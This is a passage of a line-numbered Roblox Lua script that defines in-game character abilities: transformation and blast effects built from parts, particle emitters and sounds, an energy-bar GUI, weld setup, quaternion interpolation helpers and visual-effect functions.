                value = 0.25
2503
                end
2504
		wait()
2505
	end
2506
  plode.Parent = nil
2507
	expart.Parent = nil
2508
	expart2.Parent = nil
2509
	expld.Parent = nil
2510
end
2511
local Ultramode = false
2512
2513
function Transform()
2514
  if basiccooldown >= 5 then
2515
  hum.WalkSpeed = 0
2516
  local sparta = Instance.new("Part",workspace)
2517
local msher = Instance.new("SpecialMesh",sparta)
2518
msher.MeshType = "Sphere"
2519
msher.Scale = vt(1,1,1)
2520
wit = BrickColor.new("Really black").Color
2521
local glowz = Instance.new("ParticleEmitter")
2522
glowz.LightEmission = 1
2523
glowz.Parent = sparta
2524
glowz.Texture = "rbxassetid://284205403"
2525
glowz.Color = ColorSequence.new(wit)
2526
glowz.Size = NumberSequence.new(15)
2527
glowz.Speed = NumberRange.new(100,250)
2528
glowz.LockedToPart = false
2529
glowz.Transparency = NumberSequence.new(0.75)
2530
glowz.RotSpeed = NumberRange.new(-2000,2000)
2531
glowz.Lifetime = NumberRange.new(1)
2532
glowz.Rate = 50000
2533
glowz.VelocitySpread = 9001
2534
  local sa2 = Instance.new("Sound",sparta)
2535
  sa2.SoundId = "rbxassetid://93724183"
2536
  sa2.Pitch = 0.5
2537
  sa2.Volume = 5
2538
  sa2.Looped = false
2539
  sa2:Play()
2540
  local saz2 = Instance.new("Sound",sparta)
2541
  saz2.SoundId = "rbxassetid://199145659"
2542
  saz2.Pitch = 0.45
2543
  saz2.Volume = 5*2
2544
  saz2.Looped = false
2545
local plode = Instance.new("Sound",sparta)
2546
  plode.SoundId = "rbxassetid://153274423"
2547
  plode.Volume = 5
2548
  plode.Pitch = 1
2549
  plode.Looped = false
2550
local ploder = Instance.new("Sound",sparta)
2551
  ploder.SoundId = "rbxassetid://130972023"
2552
  ploder.Volume = 5
2553
  ploder.Pitch = 1
2554
  ploder.Looped = false
2555
  sparta.Size = vt(1,1,1)
2556
  sparta.BrickColor = BrickColor.new("Really black")
2557
  sparta.Material = "Neon"
2558
  sparta.Transparency = 0
2559
  sparta.Anchored = true
2560
  sparta.CanCollide = false
2561
  sparta.CFrame = tors.CFrame
2562
  sparta.Rotation = vt(0,0,0)
2563
  local value2 = 2
2564
  for i = 0, 24 do
2565
  value2 = value2 - 0.065
2566
  msher.Scale = msher.Scale + vt(value2,value2,value2)
2567
  wait()
2568
  end
2569
  for i = 0, 10 do
2570
  value2 = value2 + 0.06575
2571
  msher.Scale = msher.Scale + vt(value2,value2,value2)
2572
  wait()
2573
  end
2574
  for i = 0, 10 do
2575
  value2 = value2 - 0.2
2576
  msher.Scale = msher.Scale + vt(value2,value2,value2)
2577
  wait()
2578
  end
2579
  for i = 0, 10 do
2580
  value2 = value2 + 0.275
2581
  msher.Scale = msher.Scale + vt(value2,value2,value2)
2582
  wait()
2583
  end
2584
  for i = 0, 10 do
2585
  value2 = value2 - 0.4
2586
  msher.Scale = msher.Scale + vt(value2,value2,value2)
2587
  wait()
2588
  end
2589
  for i = 0, 10 do
2590
  value2 = value2 + 0.475
2591
  msher.Scale = msher.Scale + vt(value2,value2,value2)
2592
  wait()
2593
  end
2594
  for i = 0, 10 do
2595
  value2 = value2 - 0.6
2596
  msher.Scale = msher.Scale + vt(value2,value2,value2)
2597
  wait()
2598
  end
2599
  for i = 0, 10 do
2600
  value2 = value2 + 0.675
2601
  msher.Scale = msher.Scale + vt(value2,value2,value2)
2602
  wait()
2603
  end
2604
  for i = 0, 10 do
2605
  value2 = value2 - 0.7
2606
  msher.Scale = msher.Scale + vt(value2,value2,value2)
2607
  wait()
2608
  end
2609
  for i = 0, 10 do
2610
  value2 = value2 + 0.775
2611
  msher.Scale = msher.Scale + vt(value2,value2,value2)
2612
  wait()
2613
  end
2614
  saz2:Play()
2615
  wait(2.75)
2616
  plode:Play() 
2617
  ploder:Play()
2618
  Ultramode = true
2619
  for i = 0, 75 do
2620
  value2 = value2 - 0.0575
2621
  glowz.Rate = 0
2622
  sparta.Transparency = sparta.Transparency + 0.025
2623
  msher.Scale = msher.Scale + vt(value2,value2,value2)
2624
  wait()
2625
  end
2626
  hum.WalkSpeed = 99
2627
  sparta:Destroy()
2628
  end
2629
end
2630
2631
2632
function Blaze2()
2633
if ultcooldown >= 30 then
2634
local sloc = Instance.new("Part",workspace)
2635
local msh = Instance.new("SpecialMesh",sloc)
2636
msh.MeshType = "Sphere"
2637
sloc.Size = vt(1,1,1)
2638
sloc.Transparency = 1
2639
sloc.BrickColor = tors.BrickColor
2640
sloc.Position = hed.Position + vt(0,0.1,0)
2641
sloc.CanCollide = false
2642
sloc.Shape = "Ball"
2643
sloc.Anchored = true
2644
sloc.Material = "Neon"
2645
  local s = Instance.new("Sound",char)
2646
  s.SoundId = "rbxassetid://289315275"
2647
  s.Pitch = 1
2648
  s.Volume = 2.75
2649
  s.Looped = false
2650
  s:Play()
2651
  local s2 = Instance.new("Sound",char)
2652
  s2.SoundId = "rbxassetid://671759140"
2653
  s2.Pitch = 0.425
2654
  s2.Volume = 1
2655
  s2.Looped = false
2656
  s2:Play()
2657
local val = 0.65*5
2658
for i = 0 , 75 do
2659
sloc.Transparency = sloc.Transparency - 0.035
2660
msh.Scale = msh.Scale + vt(val,val,val)
2661
val = val - 0.0075*5
2662
wait()
2663
end
2664
wait(2)
2665
  local sen = Instance.new("Sound",char)
2666
  sen.SoundId = "rbxassetid://289315275"
2667
  sen.Pitch = 1
2668
  sen.Volume = 2.75
2669
  sen.Looped = false
2670
  sen:Play()
2671
  local tick = Instance.new("Sound",char)
2672
  tick.SoundId = "rbxassetid://446876721"
2673
  tick.Volume = 2.5
2674
  tick.Pitch = 0.5
2675
  tick:Play()
2676
msh.Scale = msh.Scale - vt(1,1,1)
2677
sloc.Transparency = sloc.Transparency + 0.015
2678
local spart = Instance.new("Part",workspace)
2679
local msh2 = Instance.new("SpecialMesh",spart)
2680
msh2.MeshType = "Sphere"
2681
spart.Size = vt(2,2,2)
2682
spart.Shape = "Ball"
2683
spart.BrickColor = tors.BrickColor
2684
spart.Material = "Neon"
2685
spart.Transparency = 0
2686
spart.Anchored = false
2687
msh2.Scale = msh.Scale/2
2688
spart.Rotation = hed.Rotation
2689
spart.CanCollide = false
2690
spart.Position = sloc.Position + vt(math.random(-0,0),math.random(-0,0),math.random(-0,0))
2691
  local bv = Instance.new("BodyVelocity")
2692
  bv.maxForce = Vector3.new(1e9, 1e9, 1e9)
2693
  bv.velocity = mouse.Hit.lookVector * 125
2694
  bv.Parent = spart
2695
sloc:Destroy()
2696
  wait(0.00001)
2697
  pewdiepie=spart.Touched:connect(function(hit)
2698
  ExplodeMassen(100,spart)
2699
  end)
2700
wait(5)
2701
sloc:Destroy()
2702
tick:Destroy()
2703
s:Destroy()
2704
sen:Destroy()
2705
s2:Destroy()
2706
end
2707
if ultcooldown < 1 then
2708
for i = 0, 29 do
2709
ultcooldown = ultcooldown + 1
2710
wait(1)
2711
end
2712
end
2713
end
2714
2715
function Blaze()
2716
if ultcooldown >= 30 then
2717
 local ff = Instance.new("ForceField",char)
2718
  local s = Instance.new("Sound",char)
2719
  s.SoundId = "rbxassetid://289315275"
2720
  s.Pitch = 1
2721
  s.Volume = 2.75
2722
  s.Looped = false
2723
  s:Play()
2724
  local s2 = Instance.new("Sound",char)
2725
  s2.SoundId = "rbxassetid://671759140"
2726
  s2.Pitch = 0.425
2727
  s2.Volume = 1
2728
  s2.Looped = false
2729
  s2:Play()
2730
  local spart = boll:Clone()
2731
  local spart2 = shur:Clone()
2732
  local msh = Instance.new("SpecialMesh",spart)
2733
  msh.MeshType = "Sphere"
2734
  spart.Parent = workspace
2735
  spart.Transparency = 1
2736
  spart.Anchored = true
2737
  spart.Position = tors.Position + vt(0,1,0)
2738
  spart.Size = spart.Size + vt(1,1,1)
2739
  for i = 0, 10 do
2740
  spart.BrickColor = tors.BrickColor
2741
  spart.Transparency = spart.Transparency + -0.05
2742
  spart.Position = tors.Position + vt(0,1,0)
2743
  spart.Size = spart.Size + vt(3,3,3)
2744
  wait(0)
2745
  end
2746
  for i = 0, 5 do
2747
  spart.BrickColor = tors.BrickColor
2748
  spart.Transparency = spart.Transparency + -0.05
2749
  spart.Position = tors.Position + vt(0,1,0)
2750
  spart.Size = spart.Size + vt(2.5,2.5,2.5)
2751
  wait(0)
2752
  end
2753
  for i = 0, 5 do
2754
  spart.BrickColor = tors.BrickColor
2755
  spart.Transparency = spart.Transparency + -0.05
2756
  spart.Position = tors.Position + vt(0,1,0)
2757
  spart.Size = spart.Size + vt(1,1,1)
2758
  wait(0)
2759
  end
2760
  for i = 0, 10 do
2761
  spart.BrickColor = tors.BrickColor
2762
  wait(0.1)
2763
  end
2764
  for i = 0, 20 do
2765
  spart.BrickColor = tors.BrickColor
2766
  spart.Transparency = spart.Transparency + 0.05
2767
  spart.Position = tors.Position + vt(0,1,0)
2768
  spart.Size = spart.Size + vt(-5,-5,-5)
2769
  wait(0)
2770
  end
2771
  local sp = spart:Clone()
2772
  sp.Parent = workspace
2773
  sp.Position = spart.Position
2774
  local sp2 = sp:Clone()
2775
  sp2.Parent = workspace
2776
  sp2.Transparency = 0.5
2777
  local msh2 = sp2.Mesh
2778
  msh2.Scale = vt(1250,1250,1250)
2779
wit = tors.BrickColor.Color
2780
local glowz = Instance.new("ParticleEmitter")
2781
glowz.LightEmission = 0.75
2782
glowz.Parent = sp2
2783
glowz.Texture = "rbxassetid://284205403"
2784
glowz.Color = ColorSequence.new(wit)
2785
glowz.Size = NumberSequence.new(50)
2786
glowz.Speed = NumberRange.new(425,450)
2787
glowz.LockedToPart = false
2788
glowz.Transparency = NumberSequence.new(0.75)
2789
glowz.RotSpeed = NumberRange.new(-2000,2000)
2790
glowz.Lifetime = NumberRange.new(1)
2791
glowz.Rate = 50000
2792
glowz.VelocitySpread = 9001
2793
  spart2.Parent = workspace
2794
  spart2.Mesh.Scale = vt(25, 90000, 25)
2795
  spart2.Position = tors.Position
2796
local seen = Instance.new("Sound",char)
2797
seen.SoundId = "rbxassetid://445796828"
2798
seen.Pitch = 0.75
2799
seen.Volume = 1.75
2800
seen.Looped = true
2801
seen:Play()
2802
local sen = Instance.new("Sound",char)
2803
sen.SoundId = "rbxassetid://289315275"
2804
sen.Pitch = 0.98
2805
sen.Volume = 2.65
2806
sen.Looped = false
2807
sen:Play()
2808
local tick = Instance.new("Sound",char)
2809
tick.SoundId = "rbxassetid://446876721"
2810
tick.Volume = 5
2811
tick.Pitch = 0.5
2812
tick:Play()
2813
local seena = Instance.new("Sound",char)
2814
seena.SoundId = "rbxassetid://300916057"
2815
seena.Pitch = 0.5
2816
seena.Volume = 2.5
2817
seena.Looped = false
2818
seena:Play()
2819
spart.Transparency = 0
2820
  ExplodeMass(1000,sp)
2821
  for i = 0, 450 do
2822
  spart2.Position = spart.Position + vt(math.random(-1,1),0,math.random(-1,1))
2823
  sp2.Position = spart.Position
2824
  spart2.Mesh.Scale = spart2.Mesh.Scale + vt(0.035, 0, 0.035)
2825
  spart2.BrickColor = tors.BrickColor
2826
  msh2.Scale = msh2.Scale + vt(3.5,3.5,3.5)
2827
  msh.Scale = msh.Scale + vt(50,50,50)
2828
  sp2.Transparency = sp2.Transparency + 0.0005
2829
  spart.Transparency = spart.Transparency + 0.0025
2830
  spart2.Transparency = spart2.Transparency + 0.0025
2831
  wait(0)
2832
  end
2833
  spart:Destroy()
2834
  seena:Destroy()
2835
  ff:Destroy()
2836
  seen:Destroy()
2837
  sen:Destroy()
2838
  tick:Destroy()
2839
  spart2:Destroy()
2840
  s:Destroy()
2841
  sp:Destroy()
2842
  sp2:Destroy()
2843
  s2:Destroy()
2844
end
2845
if ultcooldown < 1 then
2846
for i = 0, 29 do
2847
ultcooldown = ultcooldown + 1
2848
wait(1)
2849
end
2850
end
2851
end
2852
2853
-- sin
2854
Player=owner
2855
Character=Player.Character 
2856
PlayerGui=Player.PlayerGui 
2857
Backpack=Player.Backpack 
2858
Torso=Character.Torso 
2859
Head=Character.Head 
2860
Humanoid=Character.Humanoid
2861
m=Instance.new('Model',Character)
2862
LeftArm=Character["Left Arm"] 
2863
LeftLeg=Character["Left Leg"] 
2864
RightArm=Character["Right Arm"] 
2865
RightLeg=Character["Right Leg"] 
2866
LS=Torso["Left Shoulder"] 
2867
LH=Torso["Left Hip"] 
2868
RS=Torso["Right Shoulder"] 
2869
RH=Torso["Right Hip"] 
2870
Face = Head.face
2871
Neck=Torso.Neck
2872
it=Instance.new
2873
attacktype=1
2874
vt=Vector3.new
2875
cf=CFrame.new
2876
euler=CFrame.fromEulerAnglesXYZ
2877
angles=CFrame.Angles
2878
cloaked=false
2879
necko=cf(0, 1, 0, -1, -0, -0, 0, 0, 1, 0, 1, 0)
2880
necko2=cf(0, -0.5, 0, -1, -0, -0, 0, 0, 1, 0, 1, 0)
2881
LHC0=cf(-1,-1,0,-0,-0,-1,0,1,0,1,0,0)
2882
LHC1=cf(-0.5,1,0,-0,-0,-1,0,1,0,1,0,0)
2883
RHC0=cf(1,-1,0,0,0,1,0,1,0,-1,-0,-0)
2884
RHC1=cf(0.5,1,0,0,0,1,0,1,0,-1,-0,-0)
2885
RootPart=Character.HumanoidRootPart
2886
RootJoint=RootPart.RootJoint
2887
RootCF=euler(-1.57,0,3.14)
2888
attack = false 
2889
attackdebounce = false 
2890
deb=false
2891
equipped=true
2892
hand=false
2893
MMouse=nil
2894
combo=0
2895
mana=0
2896
trispeed=1
2897
pathtrans=.7
2898
attackmode='none'
2899
local idle=0
2900
local Anim="Idle"
2901
local Effects={}
2902
local gun=false
2903
local shoot=false
2904
player=nil 
2905
cloak=false
2906
lightcolor='Bright blue'
2907
2908
local Color1=BrickColor.new("Lime green")
2909
 
2910
local fengui=it("GuiMain") 
2911
fengui.Parent=Player.PlayerGui 
2912
fengui.Name="WeaponGUI" 
2913
local fenframe=it("Frame") 
2914
fenframe.Parent=fengui
2915
fenframe.BackgroundColor3=Color3.new(255,255,255) 
2916
fenframe.BackgroundTransparency=1 
2917
fenframe.BorderColor3=Color3.new(17,17,17) 
2918
fenframe.Size=UDim2.new(0.0500000007, 0, 0.100000001, 0)
2919
fenframe.Position=UDim2.new(0.4,0,0.1,0)
2920
local fenbarmana1=it("TextLabel") 
2921
fenbarmana1.Parent=fenframe 
2922
fenbarmana1.Text=" " 
2923
fenbarmana1.BackgroundTransparency=0 
2924
fenbarmana1.BackgroundColor3=Color3.new(0,0,0) 
2925
fenbarmana1.SizeConstraint="RelativeXY" 
2926
fenbarmana1.TextXAlignment="Center" 
2927
fenbarmana1.TextYAlignment="Center" 
2928
fenbarmana1.Position=UDim2.new(0,0,0,0)
2929
fenbarmana1.Size=UDim2.new(4,0,0.2,0)
2930
local fenbarmana2=it("TextLabel") 
2931
fenbarmana2.Parent=fenframe 
2932
fenbarmana2.Text=" " 
2933
fenbarmana2.BackgroundTransparency=0 
2934
fenbarmana2.BackgroundColor3=Torso.Color
2935
fenbarmana2.SizeConstraint="RelativeXY" 
2936
fenbarmana2.TextXAlignment="Center" 
2937
fenbarmana2.TextYAlignment="Center" 
2938
fenbarmana2.Position=UDim2.new(0,0,0,0)
2939
fenbarmana2.Size=UDim2.new(4*mana/100,0,0.2,0)
2940
local fenbarmana3=it("TextLabel") 
2941
fenbarmana3.Parent=fenframe 
2942
fenbarmana3.Text=" " 
2943
fenbarmana3.BackgroundTransparency=0 
2944
fenbarmana3.BackgroundColor3=Color3.new(Col1,Col2,Col3)
2945
fenbarmana3.SizeConstraint="RelativeXY" 
2946
fenbarmana3.TextXAlignment="Center" 
2947
fenbarmana3.TextYAlignment="Center" 
2948
fenbarmana3.Position=UDim2.new(0,0,0,0)
2949
fenbarmana3.Size=UDim2.new(0,0,0.2,0)
2950
local fenbarmana4=it("TextLabel") 
2951
fenbarmana4.Parent=fenframe 
2952
fenbarmana4.Text="Energy("..mana..")"
2953
fenbarmana4.BackgroundTransparency=1 
2954
fenbarmana4.BackgroundColor3=Color3.new(0,0,0) 
2955
fenbarmana4.SizeConstraint="RelativeXY" 
2956
fenbarmana4.TextXAlignment="Center" 
2957
fenbarmana4.TextYAlignment="Center" 
2958
fenbarmana4.Position=UDim2.new(0,0,-0.3,0)
2959
fenbarmana4.Size=UDim2.new(4,0,0.2,0)
2960
fenbarmana4.FontSize="Size9"
2961
fenbarmana4.TextStrokeTransparency=0
2962
fenbarmana4.TextColor=BrickColor.new("White")
2963
2964
--save shoulders 
2965
RSH, LSH=nil, nil 
2966
--welds 
2967
RW, LW=Instance.new("Weld"), Instance.new("Weld") 
2968
RW.Name="Right Shoulder" LW.Name="Left Shoulder"
2969
LH=Torso["Left Hip"]
2970
RH=Torso["Right Hip"]
2971
TorsoColor=BrickColor.new("Lime green")
2972
function NoOutline(Part)
2973
Part.TopSurface,Part.BottomSurface,Part.LeftSurface,Part.RightSurface,Part.FrontSurface,Part.BackSurface = 10,10,10,10,10,10
2974
end
2975
player=Player 
2976
ch=Character
2977
RSH=ch.Torso["Right Shoulder"] 
2978
LSH=ch.Torso["Left Shoulder"] 
2979
-- 
2980
RSH.Parent=nil 
2981
LSH.Parent=nil 
2982
-- 
2983
RW.Name="Right Shoulder"
2984
RW.Part0=ch.Torso 
2985
RW.C0=cf(1.5, 0.5, 0) --* CFrame.fromEulerAnglesXYZ(1.3, 0, -0.5) 
2986
RW.C1=cf(0, 0.5, 0) 
2987
RW.Part1=ch["Right Arm"] 
2988
RW.Parent=ch.Torso 
2989
-- 
2990
LW.Name="Left Shoulder"
2991
LW.Part0=ch.Torso 
2992
LW.C0=cf(-1.5, 0.5, 0) --* CFrame.fromEulerAnglesXYZ(1.7, 0, 0.8) 
2993
LW.C1=cf(0, 0.5, 0) 
2994
LW.Part1=ch["Left Arm"] 
2995
LW.Parent=ch.Torso 
2996
2997
2998
function part(formfactor,parent,reflectance,transparency,brickcolor,name,size)
2999
local fp=it("Part")
3000
fp.formFactor=formfactor 
3001
fp.Parent=parent
3002
fp.Reflectance=reflectance
3003
fp.Transparency=transparency
3004
fp.CanCollide=false 
3005
fp.Locked=true
3006
fp.BrickColor=brickcolor
3007
fp.Name=name
3008
fp.Size=size
3009
fp.Position=Torso.Position 
3010
NoOutline(fp)
3011
fp.Material="Neon"
3012
fp:BreakJoints()
3013
return fp 
3014
end 
3015
 
3016
function mesh(Mesh,part,meshtype,meshid,offset,scale)
3017
local mesh=it(Mesh) 
3018
mesh.Parent=part
3019
if Mesh=="SpecialMesh" then
3020
mesh.MeshType=meshtype
3021
if meshid~="nil" then
3022
mesh.MeshId="http://www.roblox.com/asset/?id="..meshid
3023
end
3024
end
3025
mesh.Offset=offset
3026
mesh.Scale=scale
3027
return mesh
3028
end
3029
 
3030
function weld(parent,part0,part1,c0)
3031
local weld=it("Weld") 
3032
weld.Parent=parent
3033
weld.Part0=part0 
3034
weld.Part1=part1 
3035
weld.C0=c0
3036
return weld
3037
end
3038
 
3039
local Color1=BrickColor.new("Lime green")
3040
3041
local bodvel=Instance.new("BodyVelocity")
3042
local bg=Instance.new("BodyGyro")
3043
3044
function swait(num)
3045
if num==0 or num==nil then
3046
game:service'RunService'.Stepped:wait(0)
3047
else
3048
for i=0,num do
3049
game:service'RunService'.Stepped:wait(0)
3050
end
3051
end
3052
end
3053
 
3054
 
3055
so = function(id,par,vol,pit) 
3056
coroutine.resume(coroutine.create(function()
3057
local sou = Instance.new("Sound",par or workspace)
3058
sou.Volume=vol
3059
sou.Pitch=pit or 1
3060
sou.SoundId=id
3061
swait() 
3062
sou:play() 
3063
game:GetService("Debris"):AddItem(sou,6)
3064
end))
3065
end
3066
 
3067
function clerp(a,b,t) 
3068
local qa = {QuaternionFromCFrame(a)}
3069
local qb = {QuaternionFromCFrame(b)} 
3070
local ax, ay, az = a.x, a.y, a.z 
3071
local bx, by, bz = b.x, b.y, b.z
3072
local _t = 1-t
3073
return QuaternionToCFrame(_t*ax + t*bx, _t*ay + t*by, _t*az + t*bz,QuaternionSlerp(qa, qb, t)) 
3074
end 
3075
 
3076
function QuaternionFromCFrame(cf) 
3077
local mx, my, mz, m00, m01, m02, m10, m11, m12, m20, m21, m22 = cf:components() 
3078
local trace = m00 + m11 + m22 
3079
if trace > 0 then 
3080
local s = math.sqrt(1 + trace) 
3081
local recip = 0.5/s 
3082
return (m21-m12)*recip, (m02-m20)*recip, (m10-m01)*recip, s*0.5 
3083
else 
3084
local i = 0 
3085
if m11 > m00 then
3086
i = 1
3087
end
3088
if m22 > (i == 0 and m00 or m11) then 
3089
i = 2 
3090
end 
3091
if i == 0 then 
3092
local s = math.sqrt(m00-m11-m22+1) 
3093
local recip = 0.5/s 
3094
return 0.5*s, (m10+m01)*recip, (m20+m02)*recip, (m21-m12)*recip 
3095
elseif i == 1 then 
3096
local s = math.sqrt(m11-m22-m00+1) 
3097
local recip = 0.5/s 
3098
return (m01+m10)*recip, 0.5*s, (m21+m12)*recip, (m02-m20)*recip 
3099
elseif i == 2 then 
3100
local s = math.sqrt(m22-m00-m11+1) 
3101
local recip = 0.5/s return (m02+m20)*recip, (m12+m21)*recip, 0.5*s, (m10-m01)*recip 
3102
end 
3103
end 
3104
end
3105
 
3106
function QuaternionToCFrame(px, py, pz, x, y, z, w) 
3107
local xs, ys, zs = x + x, y + y, z + z 
3108
local wx, wy, wz = w*xs, w*ys, w*zs 
3109
local xx = x*xs 
3110
local xy = x*ys 
3111
local xz = x*zs 
3112
local yy = y*ys 
3113
local yz = y*zs 
3114
local zz = z*zs 
3115
return CFrame.new(px, py, pz,1-(yy+zz), xy - wz, xz + wy,xy + wz, 1-(xx+zz), yz - wx, xz - wy, yz + wx, 1-(xx+yy)) 
3116
end
3117
 
3118
function QuaternionSlerp(a, b, t) 
3119
local cosTheta = a[1]*b[1] + a[2]*b[2] + a[3]*b[3] + a[4]*b[4] 
3120
local startInterp, finishInterp; 
3121
if cosTheta >= 0.0001 then 
3122
if (1 - cosTheta) > 0.0001 then 
3123
local theta = math.acos(cosTheta) 
3124
local invSinTheta = 1/math.sin(theta) 
3125
startInterp = math.sin((1-t)*theta)*invSinTheta 
3126
finishInterp = math.sin(t*theta)*invSinTheta  
3127
else 
3128
startInterp = 1-t 
3129
finishInterp = t 
3130
end 
3131
else 
3132
if (1+cosTheta) > 0.0001 then 
3133
local theta = math.acos(-cosTheta) 
3134
local invSinTheta = 1/math.sin(theta) 
3135
startInterp = math.sin((t-1)*theta)*invSinTheta 
3136
finishInterp = math.sin(t*theta)*invSinTheta 
3137
else 
3138
startInterp = t-1 
3139
finishInterp = t 
3140
end 
3141
end 
3142
return a[1]*startInterp + b[1]*finishInterp, a[2]*startInterp + b[2]*finishInterp, a[3]*startInterp + b[3]*finishInterp, a[4]*startInterp + b[4]*finishInterp 
3143
end
3144
3145
function rayCast(Pos, Dir, Max, Ignore)  -- Origin Position , Direction, MaxDistance , IgnoreDescendants
3146
return game:service("Workspace"):FindPartOnRay(Ray.new(Pos, Dir.unit * (Max or 999.999)), Ignore) 
3147
end 
3148
3149
function SkullEffect(brickcolor,cframe,x1,y1,z1,delay)
3150
local prt=part(3,workspace,0,0,brickcolor,"Effect",vt(0.5,0.5,0.5))
3151
prt.Anchored=true
3152
prt.CFrame=cframe
3153
local msh=mesh("SpecialMesh",prt,"FileMesh","http://www.roblox.com/asset/?id=4770583",vt(0,0,0),vt(x1,y1,z1))
3154
--http://www.roblox.com/asset/?id=4770560
3155
game:GetService("Debris"):AddItem(prt,2)
3156
CF=prt.CFrame
3157
coroutine.resume(coroutine.create(function(Part,Mesh,TehCF) 
3158
for i=0,1,0.2 do
3159
wait()
3160
Part.CFrame=CF*cf(0,0,-0.4)
3161
end
3162
for i=0,1,delay do
3163
wait()
3164
--Part.CFrame=CF*cf((math.random(-1,0)+math.random())/5,(math.random(-1,0)+math.random())/5,(math.random(-1,0)+math.random())/5)
3165
Mesh.Scale=Mesh.Scale
3166
end
3167
for i=0,1,0.1 do
3168
wait()
3169
Part.Transparency=i
3170
end
3171
Part.Parent=nil
3172
end),prt,msh,CF)
3173
end
3174
 
3175
function MagicBlock(brickcolor,cframe,x1,y1,z1,x3,y3,z3,delay)
3176
local prt=part(3,workspace,0,0,brickcolor,"Effect",vt(0.5,0.5,0.5))
3177
prt.Anchored=true
3178
prt.CFrame=cframe
3179
msh=mesh("BlockMesh",prt,"","",vt(0,0,0),vt(x1,y1,z1))
3180
game:GetService("Debris"):AddItem(prt,5)
3181
coroutine.resume(coroutine.create(function(Part,Mesh) 
3182
for i=0,1,delay do
3183
wait()
3184
Part.CFrame=Part.CFrame*euler(math.random(-50,50),math.random(-50,50),math.random(-50,50))
3185
Part.Transparency=i
3186
Mesh.Scale=Mesh.Scale+vt(x3,y3,z3)
3187
end
3188
Part.Parent=nil
3189
end),prt,msh)
3190
end
3191
 
3192
function MagicBlock2(brickcolor,cframe,Parent,x1,y1,z1,x3,y3,z3,delay)
3193
local prt=part(3,workspace,0,0,brickcolor,"Effect",vt(0.5,0.5,0.5))
3194
prt.Anchored=false
3195
prt.CFrame=cframe
3196
msh=mesh("BlockMesh",prt,"","",vt(0,0,0),vt(x1,y1,z1))
3197
local wld=weld(prt,prt,Parent,cframe)
3198
game:GetService("Debris"):AddItem(prt,5)
3199
coroutine.resume(coroutine.create(function(Part,Mesh,Weld) 
3200
for i=0,1,delay do
3201
wait()
3202
Weld.C0=euler(math.random(-50,50),math.random(-50,50),math.random(-50,50))*cframe
3203
--Part.CFrame=Part.CFrame*euler(math.random(-50,50),math.random(-50,50),math.random(-50,50))
3204
Part.Transparency=i
3205
Mesh.Scale=Mesh.Scale+vt(x3,y3,z3)
3206
end
3207
Part.Parent=nil
3208
end),prt,msh,wld)
3209
end
3210
 
3211
function MagicBlock3(brickcolor,cframe,Parent,x1,y1,z1,x3,y3,z3,delay)
3212
local prt=part(3,workspace,0,0,brickcolor,"Effect",vt(0.5,0.5,0.5))
3213
prt.Anchored=false
3214
prt.CFrame=cframe
3215
msh=mesh("BlockMesh",prt,"","",vt(0,0,0),vt(x1,y1,z1))
3216
local wld=weld(prt,prt,Parent,euler(0,0,0)*cf(0,0,0))
3217
game:GetService("Debris"):AddItem(prt,5)
3218
coroutine.resume(coroutine.create(function(Part,Mesh,Weld) 
3219
for i=0,1,delay do
3220
wait()
3221
Weld.C0=euler(i*20,0,0)
3222
--Part.CFrame=Part.CFrame*euler(math.random(-50,50),math.random(-50,50),math.random(-50,50))
3223
Part.Transparency=i
3224
Mesh.Scale=Mesh.Scale+vt(x3,y3,z3)
3225
end
3226
Part.Parent=nil
3227
end),prt,msh,wld)
3228
end
3229
 
3230
function MagicCircle2(brickcolor,cframe,x1,y1,z1,x3,y3,z3,delay)
3231
local prt=part(3,workspace,0,0,brickcolor,"Effect",vt(0.5,0.5,0.5))
3232
prt.Anchored=true
3233
prt.CFrame=cframe
3234
local msh=mesh("CylinderMesh",prt,"","",vt(0,0,0),vt(x1,y1,z1))
3235
game:GetService("Debris"):AddItem(prt,2)
3236
coroutine.resume(coroutine.create(function(Part,Mesh) 
3237
for i=0,1,delay do
3238
wait()
3239
Part.CFrame=Part.CFrame
3240
Mesh.Scale=Mesh.Scale+vt(x3,y3,z3)
3241
local prt2=part(3,workspace,0,0,brickcolor,"Effect",vt(0.5,0.5,0.5))
3242
prt2.Anchored=true
3243
prt2.CFrame=cframe*euler(math.random(-50,50),math.random(-50,50),math.random(-50,50))
3244
local msh2=mesh("SpecialMesh",prt2,"Sphere","",vt(0,0,0),vt(0.5,0.5,0.5))
3245
game:GetService("Debris"):AddItem(prt2,2)
3246
coroutine.resume(coroutine.create(function(Part,Mesh) 
3247
for i=0,1,0.1 do
3248
wait()
3249
Part.CFrame=Part.CFrame*cf(0,0.5,0)
3250
end
3251
Part.Parent=nil
3252
end),prt2,msh2)
3253
end
3254
for i=0,1,delay*2 do
3255
wait()
3256
Part.CFrame=Part.CFrame
3257
Mesh.Scale=vt((x1+x3)-(x1+x3)*i,(y1+y3)-(y1+y3)*i,(z1+z3)-(z1+z3)*i)
3258
end
3259
Part.Parent=nil
3260
end),prt,msh)
3261
end
3262
3263
function MagicCircle(brickcolor,cframe,x1,y1,z1,x3,y3,z3,delay)
3264
local prt=part(3,workspace,0,0,brickcolor,"Effect",vt(0.5,0.5,0.5))
3265
prt.Anchored=true
3266
prt.CFrame=cframe
3267
local msh=mesh("SpecialMesh",prt,"Sphere","",vt(0,0,0),vt(x1,y1,z1))
3268
game:GetService("Debris"):AddItem(prt,2)
3269
coroutine.resume(coroutine.create(function(Part,Mesh) 
3270
for i=0,1,delay do
3271
wait()
3272
Part.CFrame=Part.CFrame
3273
Part.Transparency=i
3274
Mesh.Scale=Mesh.Scale+vt(x3,y3,z3)
3275
end
3276
Part.Parent=nil
3277
end),prt,msh)
3278
end
3279
 
3280
function MagicRing(brickcolor,cframe,x1,y1,z1,x2,y2,z2,x3,y3,z3)
3281
local prt=part(3,workspace,0,0,brickcolor,"Effect",vt(0.5,0.5,0.5))
3282
prt.Anchored=true
3283
prt.CFrame=cframe*euler(x2,y2,z2)
3284
--"http://www.roblox.com/asset/?id=168892465"
3285
local msh=mesh("SpecialMesh",prt,"FileMesh","http://www.roblox.com/asset/?id=3270017",vt(0,0,0),vt(x1,y1,z1))
3286
game:GetService("Debris"):AddItem(prt,2)
3287
coroutine.resume(coroutine.create(function(Part,Mesh) 
3288
for i=0,1,0.03 do
3289
wait()
3290
Part.CFrame=Part.CFrame
3291
Part.Transparency=i
3292
Mesh.Scale=Mesh.Scale+vt(x3,y3,z3)
3293
end
3294
Part.Parent=nil
3295
end),prt,msh)
3296
end
3297
 
3298
function BreakEffect(brickcolor,cframe,x1,y1,z1)
3299
local prt=part(3,workspace,0,0,brickcolor,"Effect",vt(0.5,0.5,0.5))
3300
prt.Anchored=true
3301
